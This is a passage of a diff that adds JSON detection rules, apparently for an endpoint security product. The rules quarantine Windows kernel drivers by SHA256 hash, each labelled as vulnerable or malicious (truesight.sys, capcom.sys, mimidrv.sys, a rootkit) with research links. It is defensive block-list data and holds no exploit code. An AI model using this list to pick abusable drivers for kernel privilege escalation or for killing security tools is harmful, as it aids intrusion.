+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e6b3436-7b54-5904-a761-56c3827153f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982695Z",
+  "creation_date": "2026-03-23T11:45:29.982697Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982703Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "727e8ba66a8ff07bdc778eacb463b65f2d7167a6616ca2f259ea32571cacf8af",
+  "comment": "Vulnerable Kernel Driver (aka AsrSetupDrv103.sys) [https://www.loldrivers.io/drivers/19003e00-d42d-4cbe-91f3-756451bdd7da/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e6d5bbf-b262-5c05-b01d-4e8d240ce0c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459431Z",
+  "creation_date": "2026-03-23T11:45:30.459434Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459443Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81bcd8a3f8c17ac6dc4bad750ad3417914db10aa15485094eef0951a3f72bdbd",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e791d8a-cd10-56b3-a2e4-7a29186d8c1d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971633Z",
+  "creation_date": "2026-03-23T11:45:29.971635Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dcf9bc1e511993fd8c87b8cab5c23366cc818cccc40617cabc8f242d4a8751d7",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e7d9b00-d6b0-5e3d-82f9-b0214ddc989b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811993Z",
+  "creation_date": "2026-03-23T11:45:31.811995Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812000Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d404dd8e5a851912403e7d444819d4930435377b112fe4ca56368e46617cf14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e8c1a8b-1dee-5208-a8e4-282424b5c636",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145151Z",
+  "creation_date": "2026-03-23T11:45:32.145153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c308aede12fefb8145c015a97d7844106df5469de97773cba3bd3d772dc7d24",
+  "comment": "Malicious Kernel Driver (aka driver_5c308aed.sys) [https://www.loldrivers.io/drivers/647f72e7-f378-4908-946c-5e45fab448e8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e999679-f7bd-5b0f-a43a-07bc485d162c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462642Z",
+  "creation_date": "2026-03-23T11:45:30.462645Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462654Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2d36642135166bbb296624dca878925963c7da785e42e940f02d01beb7c477d5",
+  "comment": "Vulnerable Kernel Driver (aka asio64.sys) [https://www.loldrivers.io/drivers/8b9d1a29-f5f4-4ce6-8fe2-5709123f7b86/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ea04c9f-d96f-56f4-948c-c448d6b770e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968114Z",
+  "creation_date": "2026-03-23T11:45:29.968116Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968121Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "002fb91a8ed384fa2bb8b72ee3a31c58f5fe73c7ebafc8255e598753b7613dd8",
+  "comment": "Projector Rootkit malicious drivers (aka KB_VRX_deviced.sys) [https://twitter.com/struppigel/status/1551503748601729025] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7eb2126d-c54d-5e8c-8e42-c6864bac51d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604205Z",
+  "creation_date": "2026-03-23T11:45:29.604207Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604213Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1933f27ebebde55942291381219497019077548a074e8dcdb120c94df1a2489e",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7eb62d52-aaef-5331-90f6-13c6d3da1674",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455920Z",
+  "creation_date": "2026-03-23T11:45:30.455924Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e62730949b6cbbaf938d9b2015fe1b84eb63322c4287d0ce2b4c6f987c2dadd",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ec10a45-fc42-5993-96d7-60c3a8b8fb6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499693Z",
+  "creation_date": "2026-03-23T11:45:31.499697Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499705Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4820e2269e711eb8c8656691cefc36c344f36611ba50f6a1ca772c2c924260aa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ec3b3af-0036-5f0f-b22a-b25b4859bb03",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827471Z",
+  "creation_date": "2026-03-23T11:45:30.827473Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827479Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d06ad26e336360720834394c105e5ff6a982bffb2f1b17633de12a5accda462d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ec446e8-687c-59e5-a07c-4f16bcae06a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824933Z",
+  "creation_date": "2026-03-23T11:45:31.824937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824946Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d2a3cafd51ef8ee390332285607bc138f0eb14794c6b3651b0c53fb56fe964ee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ed0dfb1-b1f0-567e-a0e5-7a0732f7f75f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147570Z",
+  "creation_date": "2026-03-23T11:45:31.147572Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147577Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a768158c06ff8edfb78ec3b1e4fd94f6192db3a8e99de1bae49fe20b3b1b8cc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ed3b7d1-aac0-5e42-a033-cd34edcedf95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974212Z",
+  "creation_date": "2026-03-23T11:45:29.974214Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974219Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d580349730ace5170e7c33850bdcb37cbf16b70d0d1adc2568fdd223c2a55a77",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ed9927e-4337-5ce4-be7d-2e66fa3dbe3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820353Z",
+  "creation_date": "2026-03-23T11:45:31.820356Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820365Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ca246561628f2a9af36c683656b7d35155019d0c852dd4d8ef0dab3b2e8fd8d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7edeec82-8157-58db-80e0-fbf233e75a5b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464681Z",
+  "creation_date": "2026-03-23T11:45:30.464684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464693Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26bea3b3ab2001d91202f289b7e41499d810474607db7a0893ceab74f5532f47",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ef0d9b6-d7d4-55b2-a4ff-2665ab2f39ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622105Z",
+  "creation_date": "2026-03-23T11:45:29.622107Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622112Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db2a9247177e8cdd50fe9433d066b86ffd2a84301aa6b2eb60f361cfff077004",
+  "comment": "CapCom vulnerable driver (aka capcom.sys and smep_capcom.sys) [https://github.com/tandasat/ExploitCapcom] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f062100-a1dc-5e01-8507-4857f7254c7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144726Z",
+  "creation_date": "2026-03-23T11:45:32.144728Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144734Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d35bc51acafab893698e6064d286541918a789ac7c06a6442bf4351dde842777",
+  "comment": "Malicious Kernel Driver (aka windivert.sys) [https://www.loldrivers.io/drivers/45a31a17-f78d-48ec-beba-74f6bfc5f96e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f164674-0e50-5379-91d5-367da8094c5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146038Z",
+  "creation_date": "2026-03-23T11:45:31.146040Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146046Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "883cef0ccaa689226bd64f18797b991757985c0963f80924bc9fbe3f93c03ef6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f21c238-96bc-5205-b518-93adc94f5e7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818666Z",
+  "creation_date": "2026-03-23T11:45:30.818668Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818674Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53e15b21cc69a554d4d61ffe531be90364ed7b1bb64fc302d65eaa642c9fa60a",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f4390e7-622a-5d04-8c48-b90bedeeef4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497808Z",
+  "creation_date": "2026-03-23T11:45:31.497811Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497819Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b9b61e2e31eb8a8b9d5fc240489268fd4c77a70acbe000a79ec85445825a5ae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f440e0e-8cb2-5583-b1ef-8ff72f2be431",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606025Z",
+  "creation_date": "2026-03-23T11:45:29.606027Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606033Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "30abc0cc700fdebc74e62d574addc08f6227f9c7177d9eaa8cbc37d5c017c9bb",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f494827-ebe7-5b84-9cf1-0179e8eb719c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
